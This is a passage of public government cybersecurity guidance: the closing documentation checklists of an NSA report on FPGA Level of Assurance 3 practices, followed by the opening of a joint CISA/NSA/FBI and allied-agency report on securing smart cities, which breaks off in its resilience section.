+National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Option 1: Select a different tool +The program should document each publication that +was searched, (including at minimum those identified in +this guidance) search results, the name of the person +performing the search and the date and timestamp +when the search was performed. +Option 2: Work with vendor +The program should maintain documentation regarding +the identified vulnerability, log communication with the +vendor, and document the source and method of the +received fix. +Option 3: Risk analysis +The program should maintain documentation +identifying risk, mitigations and approval authority. +To validate tools, choose one of the following options: +Use a formal +proof + process +Document all code that was reviewed using LEC, +document any functional discrepancies and how those +discrepancies were resolved. +Use a reproducible build process +The program should document the reproducible build +process and results validating the separate builds +produce the same binary and hash. +TD 3.5 Mitigating intrusion into the internal network +Assign Roles +The program should approve, document, and maintain +all individuals, the roles they perform, and the access +allowed by that role. At a minimum, these roles should +include design, test, network administration, and +system administration. +Control and monitor access +Entry/access to appropriate areas should be recorded, +monitored, and logged for auditability. +Research vulnerabilities +The program should document each publication that +was searched, the results of the search, vulnerabilities +and/or mitigations if applicable, name of the person +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +performing the search, and the date and timestamp of +the search. +Use a secret or classified network +The program should maintain documentation and audit +data demonstrating a network classified at the DSCA +Secret level or above. The documentation should +include a log of personnel with clearance information, +all records in accordance with a maintaining a DSCA +Secret network, as well as a documented and SSP. +TD 3.6 Mitigating risk from compromised hire or employee +Enforce auditability +The program should maintain audit logs on all design +data, including requirements, architecture, design, +code, tests, bugs, and fixes. The audit data minimally +should document who requested the change with date +and timestamp, the decision made regarding the +change, who made the decision with date and +timestamp, why was the change requested, and who +made the change with date and timestamp. +Enforce the approved design +process +The program should document and utilize the entry and +exit criteria of each stage of the design process. This +includes documentation for each peer review and +design review with roles and responsibilities along with +associated names, attendees, and findings, including +deviations or waivers and associated rationale and +approvals. +All design changes should be documented and +approved, and testing should adhere to organizationally +approved test standards. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Review critical design activities +The program should obtain the results of independent +reviews to include: + Type and extent of verification performed, to include +evaluation objective, methodology, and tools + Findings, both positive and negative, for all +evaluations performed + Risks identified by the review team (e.g., quality +issues, vulnerability to threats, etc.) + Recommendations to mitigate identified risks + Independent team should be separate from the team +doing the design + Identification and credentials of each reviewer + Date and timestamp of when the review was +performed +Use cleared personnel +In writing, the program should designate work that must +be done by cleared Individuals. The program should +keep a log of personnel assigned to that work along +with their clearance level. +The program should maintain a list of the members +comprising each team with their clearance levels. The +program should maintain audit logs demonstrating what +each team member accessed. +TD 3.7 Mitigating risk associated with the compromise of device identifiers +Store device identifiers +Maintain access control logs to include who has access +to the device identifiers and who actually accesses the +device identifiers. +Limit access to device identifier +information +Maintain access control logs to include who has access +to the device identifiers and who actually accesses the +device identifiers +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Checklist for TD 4: Adversary compromises system assembly, keying, +or provisioning +TD 4 mitigations +Documentation requirements +Purchase from DoD authorized +vendors and distributors +The program should document the name and location +of the authorized vendor along with documentation +demonstrating that the vendor is authorized. +Follow storage and shipping +The program should document, maintain, and enforce +guidance +a transportation plan which supports the movement of +bulky classified material. Minimally the plan should +include: + Title of Plan + Date of movement + Authorization/Approval + Purpose + Description of consignment, to include unique ID +when available + Identification of responsible government and/or +company representatives + Identification of commercial entities to be involved in +each shipment + Packaging the consignment + Routing of the consignment + Couriers/escorts + Recipient responsibilities + Return of material procedures + Other information as required +Provide keys and configuration +data +The program should document assembly house receipt +of data packages and the hash value of the packages. +Clear memory devices +The program should document the company, location, +individual, and method for clearing the contents along +with the contents before and after clearing. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 4 mitigations +Documentation requirements +Provision private keys +The program should document: + The company name, location, and date of +provisioning + The number of provisioned devices and number of +unique keys used + Proof of DSCA facility classification + Proof of DMEA Trust Category I certification +Protect the configuration data +package +The program should maintain data receipt +documentation from each of the assembly and test +teams showing each team either collected the data +from a central repository or received it from a trusted +transfer mechanism. +Perform verification activities +The program should maintain documentation including +the procedures used to verify the PCB traces, where +the work was performed, when it was performed, and +the results of the verification. +The program should maintain documentation including +the procedures used to authenticate the configuration +data, where the work was performed, who performed it, +when it was performed, and the results of the +verification. +The program should maintain documentation including +the authentication methodology, its architecture, and its +compliance with appropriate NIST standards. +The program should maintain documentation including +the methodology used to verify the proper keys were +loaded, where the work was performed, when it was +performed, and who performed the work. +The program should maintain documentation including +the procedures used to authenticate the post assembly +FPGA device, where the authentication was performed, +by whom, when, and the results of the verification. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 4 mitigations +Documentation requirements +Authenticate the FPGA device by choosing one option: +Option 1: Verify the unique +cryptographic ID +The program should document: + The authenticity verification method + The verification outcomes + The individual name or reference ID who performed +the verification +Option 2: Verify the device on the +The program should document: + The authenticity verification method + The verification outcomes + The individual name or reference ID who performed +the verification +Option 3: Use a soft PUF +The program should document: + The authenticity verification method + The verification outcomes + The individual name or reference ID who performed +the verification +Checklist for TD 5: Adversary compromises third-party soft IP +TD 5 mitigations +Documentation requirements +Purchase from DoD authorized +vendors and distributors +The program should document the name and location +of the authorized vendor along with documentation +demonstrating that the vendor is authorized. +Only accept IP that is unobfuscated +The program should keep a copy of the clean +unobfuscated code, along with the name and or ID of +the person who received it. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 5 mitigations +Documentation requirements +Ensure IP deliverable packages are +digitally signed +The program should maintain documentation of the +vendor provided signature and hash, and the actual +software hash. +Validate the cryptographic hash +The program should document the value of the +calculated cryptographic hash and the signed hash +provided by the vendor along with the software name, +version, and release number. +Store IP in a revision control +repository +The program should include the initial IP and hash +check-in within the system. +Examine IP for malicious functions +The program should document all results in +accordance with Third-Party IP Review Process for +Level of Assurance 3. This document is available upon +request. +All interaction with JFAC regarding IP for malicious +functions should be documented. +To examine the IP for malicious functions, chose one of the following options: +Option 1: At least two cleared +personnel review the IP +Option 2: Contact JFAC to +determine if an IP review of the +complete IP package has been +previously completed +The program should maintain documentation specific to +that identified in the Third-Party IP Review Process for +Level of Assurance 3. +The program should maintain documentation of +correspondence between the program and JFAC. This +should include information about the IP, system the IP +is used in, and the role that IP serves within that +system, along with proof of receipt from JFAC. +The program should obtain and review evidence of IP +verification, including requirements sign-off. +Note: This activity is intended to both provide +confidence that the 3PIP will meet program +specifications and that functionality not utilized by the +developer, including testability, is understood by the +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 5 mitigations +Documentation requirements +program. Data should be created and collected by the +IP developer. +Checklist for TD 6: Adversary swaps configuration file on target +TD 6 mitigations +Documentation requirements +Incorporate cryptographic +authentication +The program should document: + The method used to authenticate the configuration file +on load. + The verification process used to test the +authentication method. +Authenticate configuration data +each time the data is loaded +For each configuration load method used, the program +should document the method used to authenticate the +configuration file on load, and the verification process +used to test the authentication method. +Prevent direct read back +The program should document the steps taken to +prevent direct read back of private keys. +Use a CNSS/NIST approved +algorithm and key length +The program should document the key length being +used along with the version number of the latest CNSS +or NIST FIPS guidance approved key length. +Use DoD evaluated authentication +mechanisms +The program should maintain documentation from +JFAC with the security evaluation results. +Disable test access pins +The program should maintain documentation including +the means by which the JTAG test pins were disabled. +Ensure authentication for +modifications +Document if the FPGA allows application changes, how +the vendor states authentication will apply to all +reconfiguration data, and test results indicating how +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 6 mitigations +Documentation requirements +authentication was actually applied to all +reconfiguration data. +Always program security settings +in non-volatile storage of the +device +The program should maintain documentation including +the means used to set security settings. +When a platform supports remote updates, chose one of the following options: +Option 1: Validate that the builtin application change technique +fully applies authentication to all +the reconfiguration data +The program should maintain documentation including +the test used to validate the application update +methodology and the outcome. +Option 2: Perform authentication +of the reconfiguration data in the +application +The program should maintain documentation including +the methodology used to perform authentication in the +application using partial reconfiguration. +Use a FIPS compliant 140-2 Level +2 HSM +Document how the program utilizes FIPS 140-2. +Document the HSM that is being used and the spec +sheet demonstrating FIPS compliance. +Checklist for TD 7: Adversary substitutes modified FPGA software +design suite +TD 7 mitigations +Documentation requirement +Purchase from DoD authorized +vendors and distributors +The program should document the name and location +of the authorized vendor along with documentation +demonstrating that the vendor is authorized. +Prevent automatic tool updates +The program should document, maintain, and follow +the SSP. +Use a trusted computing +environment +The program should maintain documentation and audit +data demonstrating one of the following computing +environments was used: + A computer and network classified at the DSCA +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 7 mitigations +Documentation requirement +Secret level or above. The documentation should +include a log of personnel with clearance information, +all records in accordance with a maintaining a DSCA +Secret network, as well as a documented and SSP. + A computer and network certified for use in a Trust +Category 1 facility as defined by DMEA. + A network-isolated computer enclave with limited and +controlled access, adhering to NIST and CMMC +standards. +Use cleared personnel +In writing, the program should designate work that must +be done by cleared Individuals. The program should +keep a log of personnel assigned to that work along +with their clearance level. +The program should maintain a list of the members +comprising each team, with their clearance levels. The +program should maintain audit logs demonstrating what +each team member accessed. +Validate the cryptographic hash +The program should maintain the value of the +calculated hash and the hash that is provided by the +vendor, along with the version/release number and +date/timestamp. +To validate the tool output, choose one of the following options: +Option 1: Perform a logical +equivalency check +Option 2: Use a reproducible build +process +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +Document all code that was reviewed using LEC, any +functional discrepancies, and how those discrepancies +were resolved. +Document the reproducible build process and results +validating that the two separate builds produced the +same binary and hash. +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Checklist for TD 8: Adversary modifies FPGA platform family at +design +TD 8 mitigations +Engage JFAC +Documentation requirements +The program should maintain a copy of the data sent to +JFAC with a date/timestamp of when it was sent and +an acknowledgement of when it was received. +Checklist for TD 9: Adversary compromises single-board computing +system (SBCS) +TD 9 mitigations +Documentation requirement +Engage a DoD vendor to build the +SBCS +The DoD vendor should provide functionality and +product specifications. +Verification and authentication +The program should maintain a list of the members +comprising the independent verification team, with their +clearance levels. The program should maintain audit +logs demonstrating what each team member accessed, +when and what reviews were conducted, and each +device that was verified. +Authenticate the FPGA devices +The program should document the physical inspection +results for each slash sheet and unique ID for the +device inspected. +Verify the SBCS configuration +process +Document the SBCS configuration process and how it +complies with the LoA3 mitigation requirements for TD +6: Adversary swaps configuration file on target. This +includes, but is not limited to, requirements for: +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +NIST compliant authentication algorithms +Differential power analysis (DPA) resistant +authentication +Protected key storage +Anti-tamper detection and response +Being free of known vulnerabilities in the +configuration and security functions +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 9 mitigations +Documentation requirement +All encryption and authentication keys lengths +must be compliant with the requirements +outlined NIST SP 800-57 +The ability to disable FPGA test pins, such as +JTAG +If the configuration file memory storage device contains +SBCS vendor code, the program should review and +evaluate that code for malicious functions, and +document how the review was conducted and any +findings. The proprietary SBCS support for +configuration must be fully understood and validated. If +the SBCS configuration process cannot be fully +evaluated, it should not be used at LoA3. +Once the SBCS +s configuration design and +implementation are evaluated to be free of malicious +functions, the program should craft a set of tests and +validation processes to verify that all the devices +comply with the evaluation. The program should +document the tests and validation processes along with +the validation of all devices. +Test non-volatile memory +Document the steps +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +The program should maintain documentation including +the FPGA settings available in the given FPGA device, +the methodology used to read them, where they were +tested, by whom, when and the results. +Document the steps taken to comply with these +requirements. This includes all hardware and software +that were authenticated and verified. All associated +data artifacts should be auditable. +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Checklist for TD 10: Adversary modifies vendor FPGA software +design suite during development +TD 10 mitigations +Documentation requirement +Perform all FPGA design work on +an isolated network +Provide documentation in alignment with Checklist for +TD 3: Adversary compromises application design cycle. +Perform logical equivalency +The program should document any hints, all +checking +optimizations, and rationale for any logic that did not +match the equivalency checker with managerial +approval signature. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +TLP:CLEAR +Cybersecurity Best Practices for +Smart Cities +Publication: April 19, 2023 +United States Cybersecurity and Infrastructure Security Agency +United States National Security Agency +United States Federal Bureau of Investigation +United Kingdom National Cyber Security Centre +Australian Cyber Security Centre +Canadian Centre for Cyber Security +New Zealand National Cyber Security Centre +This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information +carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for +public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed without +restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. +TLP:CLEAR +TLP:CLEAR +Summary +This guidance is the result of a collaborative effort from the United States Cybersecurity and +Infrastructure Security Agency (CISA), the United States National Security Agency (NSA), the +United States Federal Bureau of Investigation (FBI), the United Kingdom National Cyber +Security Centre (NCSC-UK), the Australian Cyber Security Centre (ACSC), the Canadian Centre +for Cyber Security (CCCS), and the New Zealand National Cyber Security Centre (NCSC-NZ). +These cybersecurity authorities +herein referred to as +authoring organizations +are aware +that communities may seek cost-savings and quality-of-life improvements through the digital +transformation of infrastructure to create +smart cities. + In this context, the term +smart cities +refers to communities that: +Integrate information and communications technologies (ICT), community-wide data, +and intelligent solutions to digitally transform infrastructure and optimize governance +in response to citizens + needs. +Connect the operational technology (OT) managing physical infrastructure with +networks and applications that collect and analyze data using ICT components +such +as internet of things (IoT) devices, cloud computing, artificial intelligence (AI), and 5G. +Note: Terms that also refer to communities with this type of integration include +connected +places, +connected communities, + and +smart places. + The communities adopting smart city +technologies in their infrastructure vary in size and include university campuses, military +installations, towns, and cities. +Integrating public services into a connected environment can increase the efficiency and +resilience of the infrastructure that supports day-to-day life in our communities. However, +communities considering becoming smart cities should thoroughly assess and mitigate the +cybersecurity risk that comes with this integration. Smart cities are attractive targets for +malicious cyber actors because of: +The data being collected, transmitted, stored, and processed, which can include +significant amounts of sensitive information from governments, businesses, and +private citizens. +The complex artificial intelligence-powered software systems, which may have +vulnerabilities, that smart cities sometimes use to integrate this data. +The intrinsic value of the large data sets and potential vulnerabilities in digital systems means +there is a risk of exploitation for espionage and for financial or political gain by malicious +threat actors, including nation-states, cybercriminals, hacktivists, insider threats, and +terrorists. +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +No technology solution is completely secure. As communities implement smart city +technologies, this guidance provides recommendations to balance efficiency and innovation +with cybersecurity, privacy protections, and national security. Organizations should implement +these best practices in alignment with their specific cybersecurity requirements to ensure the +safe and secure operation of infrastructure systems, protection of citizens + private data, and +security of sensitive government and business data. +The authoring organizations recommend reviewing this guidance in conjunction with NCSCUK +s Connected Places Cyber Security Principles, ACSC +s An Introduction to Securing Smart +Places, CCCS +s Security Considerations for Critical Infrastructure, CISA +s Cross-Sector +Cybersecurity Performance Goals, Shifting the Balance of Cybersecurity Risk: Principles and +Approaches for Security-by-Design and -Default, and Protecting Against Cyber Threats to +Managed Service Providers and their Customers. +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +Risk to Smart Cities +Smart cities may create safer, more efficient, more resilient communities through +technological innovation and data-driven decision-making; however, this opportunity also +introduces potential vulnerabilities that, if exploited, could impact national security, economic +security, public health and safety, and critical infrastructure operations. Cyber threat activity +against OT systems is increasing globally, and the interconnection between OT systems and +smart city infrastructure increases the attack surface and heightens the potential +consequences of compromise. +Smart cities are an attractive target for criminals and cyber threat actors to exploit vulnerable +systems to steal critical infrastructure data and proprietary information, conduct ransomware +operations, or launch destructive cyberattacks. Successful cyberattacks against smart cities +could lead to disruption of infrastructure services, significant financial losses, exposure of +citizens + private data, erosion of citizens + trust in the smart systems themselves, and physical +impacts to infrastructure that could cause physical harm or loss of life. Communities +implementing smart city technologies should account for these associated risks as part of +their overall risk management approach. The authoring organizations recommend the +following resources for guidance on cyber risk management: +An introduction to the cyber threat environment (CCCS) +Control System Defense: Know the Opponent (CISA, NSA) +Cyber threat bulletin: Cyber threat to operational technology (CCCS) +Cyber Assessment Framework (NCSC-UK) +Expanded and Interconnected Attack Surface +Integrating a greater number of previously separate infrastructure systems into a single +network environment expands the digital attack surface for each interconnected organization. +This expanded attack surface increases the opportunity for threat actors to exploit a +vulnerability for initial access, move laterally across networks, and cause cascading, crosssector disruptions of infrastructure operations, or otherwise threaten confidentiality, integrity, +and availability of organizational data, systems, and networks. For example, malicious actors +accessing a local government IoT sensor network might be able to obtain lateral access into +emergency alert systems if the systems are interconnected. +Additionally, as a result of smart cities integrating more systems and increasing connectivity +between subnetworks, network administrators and security personnel may lose visibility into +collective system risks. This potential loss of visibility includes components owned and +operated by vendors providing their infrastructure as a service to support integration. It is +critical that system owners maintain awareness and control of the evolving network topology +as well as the individuals/vendors responsible for the overall system and each segment. +Ambiguity regarding roles and responsibilities could degrade the system +s cybersecurity +posture and incident response capabilities. Communities implementing smart city technology +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +should assess and manage these risks associated with complex interconnected systems. +Risks From the ICT Supply Chain and Vendors +Communities building smart infrastructure systems often rely on vendors to procure and +integrate hardware and software that link infrastructure operations via data connections. +Vulnerabilities in ICT supply chains +either intentionally developed by cyber threat actors for +malicious purposes or unintentionally created via poor security practices +can enable: +Theft of data and intellectual property, +Loss of confidence in the integrity of a smart city system, or +A system or network failure through a disruption of availability in operational +technology. +ICT vendors providing smart city technology should take a holistic approach to security by +adhering to secure-by-design and secure-by-default development practices. Software products +developed in accordance with these practices decrease the burden on resource-constrained +local jurisdictions and increase the cybersecurity baseline across smart city networks. See the +following resource for guidance on secure-by-design and secure-by-default development +practices: +Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Security-byDesign and -Default (CISA, NSA, FBI, ACSC, NCSC-UK, CCCS, BSI, NCSC-NL, CERT NZ, +NCSC-NZ) +The risk from a single smart city vendor could be much higher than in other ICT supply chains +or infrastructure operations, given the increased interdependencies between technologies and +basic or vital services. Organizations should consider risks from each vendor carefully to avoid +exposing citizens, businesses, and communities to both potentially unreliable hardware and +software and deliberate exploitation of supply chain vulnerabilities as an attack vector. This +includes scrutinizing vendors from nation-states associated with cyberattacks, or those +subject to national legislation requiring them to hand over data to foreign intelligence services. +Illicit access gained through a vulnerable ICT supply chain could allow the degradation or +disruption of infrastructure operations and the compromise or theft of sensitive data from +utility operations, emergency service communications, or visual surveillance technologies. +Smart city IT vendors may also have access to vast amounts of sensitive data from multiple +communities to support the integration of infrastructure services +including sensitive +government information and personally identifiable information (PII) +which would be an +attractive target for malicious actors. The aggregation of sensitive data may provide malicious +actors with information that could expose vulnerabilities in critical infrastructure and put +citizens at risk. See the following resources for guidance on mitigating supply chain risks: +Information and Communications Technology Supply Chain Risk Management (CISA) +Supply chain security guidance (NCSC-UK) +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +Identifying Cyber Supply Chain Risks (ACSC) +Cyber supply chain: An approach to assessing risk (CCCS) +Automation of Infrastructure Operations +Smart cities can achieve efficiencies by automating operations, such as wastewater treatment +or traffic management. Automation reduces the requirement for direct human control of those +systems. Automation can also allow for better consistency, reliability, and speed for +standardized operations. However, automation can also introduce new vulnerabilities because +it increases the number of remote entry points into the network (e.g., IoT sensors and remote +access points). The volume of data and complexity of automated operations +including +reliance on third-party vendors to monitor and manage operations +can reduce visibility into +system operations and potentially hinder real-time incident response. +Automation for infrastructure operations in smart city environments may require the use of +sensors and actuators that increase the number of endpoints and network connections that +are vulnerable to compromise. The integration of AI and complex digital systems could +introduce new unmitigated attack vectors and additional vulnerable network components. +Reliance on an AI system or other complex systems may decrease overall transparency into +the operations of networked devices as these systems make and execute operational +decisions based on algorithms instead of human judgment. +Recommendations +Secure Planning and Design +The authoring organizations strongly recommend communities include strategic foresight and +proactive cybersecurity risk management processes in their plans and designs for integrating +smart city technologies into their infrastructure systems. New technology should be deliberately +and carefully integrated into legacy infrastructure designs. Communities should ensure any +smart + or connected features they are planning to include in new infrastructure are secure by +design and incorporate secure connectivity with any remaining legacy systems. Additionally, +communities should be aware that legacy infrastructure may require a redesign to securely +deploy smart city systems. Security planning should focus on creating resilience through +defense in depth and account for both physical and cyber risk as well as the converged cyberphysical environment that IoT and industrial IoT (IIoT) systems introduce. See the following +consolidated, baseline practices that organizations of all sizes can implement to reduce the +likelihood and impact of known IT and OT risks. +Cross-Sector Cybersecurity Performance Goals (CISA) +See the following additional resources for guidance on accounting for risks in the cyber, +physical, and converged environments: +Improving ICS Cybersecurity with Defense-in-Depth Strategies (CISA) +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +Cybersecurity and Physical Security Convergence (CISA) +Consequence-Driven Cyber-Informed Engineering (INL) +Apply the principle of least privilege. +The organizations responsible for implementing smart city technology should apply the +principle of least privilege throughout their network environments. As defined by the U.S. +National Institute of Standards and Technology (NIST), the principle of least privilege is, +principle that a security architecture should be designed so that each entity is granted the +minimum system resources and authorizations that the entity needs to perform its function. +Administrators should review default and existing configurations along with hardening +guidance from vendors to ensure that hardware and software is only permissioned to access +other systems and data that it needs to perform its functions. Administrators should also +immediately update privileges upon changes in administrative roles or the addition of new +users or administrators from newly integrated systems. They should use a tiered model with +different levels of administrative access based on job requirements. Administrators should +limit access to accounts with full privileges across an enterprise to dedicated, hardened +privileged access workstations (PAWs). Administrators should also use time-based or just-intime privileges and identify high-risk devices, services, and users to minimize their access. For +detailed guidance, see: +Defend Privileges and Accounts (NSA) +Restricting Administrative Privileges (ACSC) +Managing and controlling administrative privileges (CCCS) +Enforce multifactor authentication. +The organizations responsible for implementing smart city technology should secure remote +access applications and enforce multifactor authentication (MFA) on local and remote +accounts and devices where possible to harden the infrastructure that enables access to +networks and systems. Organizations should explicitly require MFA where users perform +privileged actions or access important (sensitive or high-availability) data repositories. Russian +state-sponsored APT actors have recently demonstrated the ability to exploit default MFA +protocols. Organizations responsible for implementing smart cities should review configuration +policies to protect against +fail open + and re-enrollment scenarios. See the following resource +for guidance on implementing MFA: +#More Than a Password (CISA) +Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default +Multifactor Authentication Protocols and +PrintNightmare + Vulnerability (FBI, CISA) +Transition to Multi-Factor Authentication (NSA) +MFA for online services (NCSC-UK) +Implementing MFA (ACSC) +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +Zero trust architecture design principles - Authenticate and authorize (NCSC-UK) +Implement zero trust architecture. +Implementing zero trust network design principles will create a more secure network +environment that requires authentication and authorization for each new connection with a +layered, defense-in-depth approach to security. Zero trust also allows for greater visibility into +network activity, trend identification through analytics, issue resolution through automation +and orchestration, and more efficient network security governance. See the following +resources for guidance on implementing zero trust: +Zero trust architecture design principles (NCSC-UK) +Zero Trust Maturity Model (CISA) +Embracing a Zero Trust Security Model (NSA) +A zero trust approach to security architecture (CCCS) +Zero Trust security model (CCCS) +Note: Both zero trust architecture and MFA should be applied wherever operationally feasible +in balance with requirements for endpoint trust relationships. Some OT networks may require +trust-by-default architectures, but organizations should isolate such networks and ensure all +interconnections with that network are secured using zero trust and related principles. +Manage changes to internal architecture risks. +The organizations responsible for implementing smart city technology should understand their +environment and carefully manage communications between subnetworks, including newly +interconnected subnetworks linking infrastructure systems. Network administrators should +maintain awareness of their evolving network architecture and the personnel accountable for the +security of the integrated whole and each individual segment. Administrators should identify, +group, and isolate critical business systems and apply the appropriate network security controls +and monitoring systems to reduce the impact of a compromise across the community. See the +following resources for detailed guidance: +CISA Vulnerability Scanning (CISA) +Vulnerability Scanning Tools and Services (NCSC-UK) +Security architecture anti-patterns (NCSC-UK) +Preventing Lateral Movement (NCSC-UK) +Segment Networks and Deploy Application-aware Defenses (NSA) +Securely manage smart city assets. +Secure smart city assets against theft and unauthorized physical changes. Consider +implementing physical and logical security controls to protect sensors and monitors against +manipulation, theft, vandalism, and environmental threats. +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +Improve security of vulnerable devices. +See the following resources for guidance on protecting devices by securing remote access: +Selecting and Hardening Remote Access VPN Solutions (CISA, NSA) +Using Virtual Private Networks (ACSC) +Virtual private networks (CCCS) +Protect internet-facing services. +See the following resources for guidance on protecting internet-facing services: +Protecting internet-facing services on public service CNI (NCSC-UK) +Strategies for protecting web application systems against credential stuffing attacks (CCCS) +Isolate web-facing applications (CCCS) +Patch systems and applications in a timely manner. +Where possible, enable automatic patching processes for all software and hardware devices +that include authenticity and integrity validation. Leverage threat intelligence to identify active +threats and ensure exposed systems and infrastructure are protected. Secure software assets +through an asset management program that includes a product lifecycle process. This process +should include planning replacements for components and software nearing or past end-oflife, as patches may cease to be developed by manufacturers or developers. See the following +resources for guidance on protecting systems and networks via asset management: +Known Exploited Vulnerabilities Catalog (CISA) +Asset management for cyber security (NCSC-UK) +Review the legal, security, and privacy risks associated with deployments. +Implement processes that continuously evaluate and manage the legal and privacy risks +associated with deployed solutions. +Proactive Supply Chain Risk Management +All organizations responsible for implementing smart city technology should proactively +manage ICT supply chain risk for any new technology, including hardware or software that +supports the implementation of smart city systems or service providers supporting +implementation and operations. Organizations should use only trusted ICT vendors and +components. The ICT supply chain risk management process should include participation from +all levels of the organization and have full support from program leaders implementing smart +city systems. Procurement officials from communities implementing smart city systems should +also communicate minimum security requirements to vendors and articulate actions they will +take in response to breaches of those requirements. Smart city technology supply chains +should be transparent to the citizens whose data the systems will collect and process. +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +For detailed supply chain security guidance, see: +Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure (CISA, +ACSC, NCSC-NZ, NCSC-UK, CCCS) +Supply chain security guidance (NCSC-UK) +ICT Supply Chain Library (CISA) +Cyber-Physical Security Considerations for the Electricity Sub-Sector (CISA) +Cyber Supply Chain Risk Management (ACSC) +Software Supply Chain +The organizations responsible for implementing smart city technology should set security +requirements or controls for software suppliers and ensure that potential vendors use a +software development lifecycle that incorporates secure development practices, maintains an +active vulnerability identification and disclosure process, and enables patch management. +Product vendors should also assume some of the risk associated with their products and +develop smart city technology in adherence to secure-by-design and secure-by-default +principles and active maintenance for the products they provide. Vendors adhering to these +principles give the organizations responsible for procuring and implementing smart city +technology more confidence in the products they introduce into their networks. +For detailed guidance, see: +Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Security-byDesign and -Default (CISA, NSA, FBI, ACSC, NCSC-UK, CCCS, BSI, NCSC-NL, CERT NZ, +NCSC-NZ) +Software Bill of Materials (CISA) +Supply Chain Cyber Security: In Safe Hands (NCSC-NZ) +Securing the Software Supply Chain: Recommended Practices Guide for Customers +(ODNI, NSA, CISA, CSCC, DIBSCC, ITSCC) +Coordinated Vulnerability Disclosure Process (CISA) +Protecting your organization from software supply chain threats (CCCS) +Hardware and IoT Device Supply Chain +Organizations responsible for implementing smart city technology should determine whether +the IoT devices and hardware that will enable +smart + functionality will require support from +third-party or external services. These organizations should perform due-diligence research on +how parts are sourced and assembled to create products. They should also determine how the +devices store and share data and how the devices secure data at rest, in transit, and in use. +Organizations should maintain a risk register that identifies both their own and their vendors +reliance on cloud computing support, externally sourced components, and similar +dependencies. For detailed guidance, see: +CISA | NSA | FBI | NCSC-UK | ACSC | CCCS | NCSC-NZ +TLP:CLEAR +TLP:CLEAR +Cyber supply chain: An approach to assessing risk (CCCS) +Cybersecurity for IOT Program (NIST) +Defending Against Software Supply Chain Attacks (CISA, NIST) +Managed Service Providers and Cloud Service Providers +Organizations should set clear security requirements for managed service providers and other +vendors supporting smart city technology implementation and operations. Organizations +should account for the risks of contracting with third-party vendors in their overall risk +management planning and ensure organizational security standards are included in +contractual agreements with external parties. Similarly, organizations should carefully review +cloud service agreements, including data security provisions and responsibility sharing +models. For detailed guidance, see: +Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Security-byDesign and -Default (CISA, NSA, FBI, ACSC, NCSC-UK, CCCS, BSI, NCSC-NL, CERT NZ, +NCSC-NZ) +Protecting Against Cyber Threats to Managed Service Providers and their Customers +(NCSC-UK, CCCS, NCSC-NZ, CISA, NSA, FBI) +Six steps toward more secure cloud computing (FTC) +Choosing the best cyber security solution for your organization (CCCS) +Operational Resilience +The organizations responsible for implementing smart city technology should develop, assess, +and maintain contingencies for manual operations of all critical infrastructure functions and +train staff accordingly. Those contingencies should include plans for disconnecting +infrastructure systems from one another or from the public internet to operate autonomously. +In the event of a compromise, organizations should be prepared to isolate affected systems +and operate other infrastructure with as little disruption as possible. +Backup systems and data. +The organizations responsible for 